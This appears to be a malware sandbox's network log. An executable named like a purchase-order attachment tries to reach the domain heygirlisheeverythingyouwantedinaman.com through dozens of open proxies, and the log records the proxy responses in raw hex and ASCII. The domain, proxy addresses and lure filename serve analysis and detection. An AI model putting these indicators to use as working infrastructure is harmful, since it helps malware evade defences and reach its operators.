Mar 11, 2024 16:39:45.588622093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.705193043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.767240047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
402	192.168.2.10	50989	199.102.104.70	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.588700056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
403	192.168.2.10	51268	202.179.184.44	5430	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.589586020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
404	192.168.2.10	51365	164.92.86.113	50564	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.589591026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.051325083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.598553896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.614871025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.708034992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.767343998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
405	192.168.2.10	51357	162.241.46.6	41442	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.597547054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
406	192.168.2.10	51312	184.181.217.210	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.599803925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
407	192.168.2.10	51373	104.27.66.31	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.599816084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.754431009 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
408	192.168.2.10	51342	3.21.101.158	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.600327969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:10.422141075 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:40:10 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
409	192.168.2.10	50523	188.166.56.246	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.605626106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.676491022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.677519083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.676907063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.676439047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:21.682611942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:33.785634041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:57.785641909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:45.819405079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
410	192.168.2.10	51377	172.67.182.77	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.607615948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.762356043 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
411	192.168.2.10	51287	60.188.102.225	18080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.616278887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
412	192.168.2.10	50495	107.155.65.11	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.630381107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.705241919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:15.626758099 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
413	192.168.2.10	51366	198.23.229.203	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.636418104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
414	192.168.2.10	51298	106.14.255.124	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.642152071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
415	192.168.2.10	51294	185.49.31.207	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.646210909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
416	192.168.2.10	51400	104.18.136.28	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.650296926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.804640055 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
417	192.168.2.10	51324	46.35.9.110	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.651936054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
418	192.168.2.10	50633	51.15.234.222	16379	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.657630920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.676491022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.677541971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.676907063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.676439047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:21.682611942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:33.785705090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:36.799345970 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
419	192.168.2.10	51302	62.33.207.202	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.667664051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.009140015 CET	1286	IN	HTTP/1.1 405 Method Not Allowed Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 3209 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e d0 9e d0 a8 d0 98 d0 91 d0 9a d0 90 3a 20 d0 97 d0 b0 d0 bf d1 80 d0 be d1 88 d0 b5 d0 bd d0 bd d1 8b d0 b9 20 55 52 4c 20 d0 bd d0 b5 20 d0 bc d0 be d0 b6 d0 b5 d1 82 20 d0 b1 d1 8b d1 82 d1 8c 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 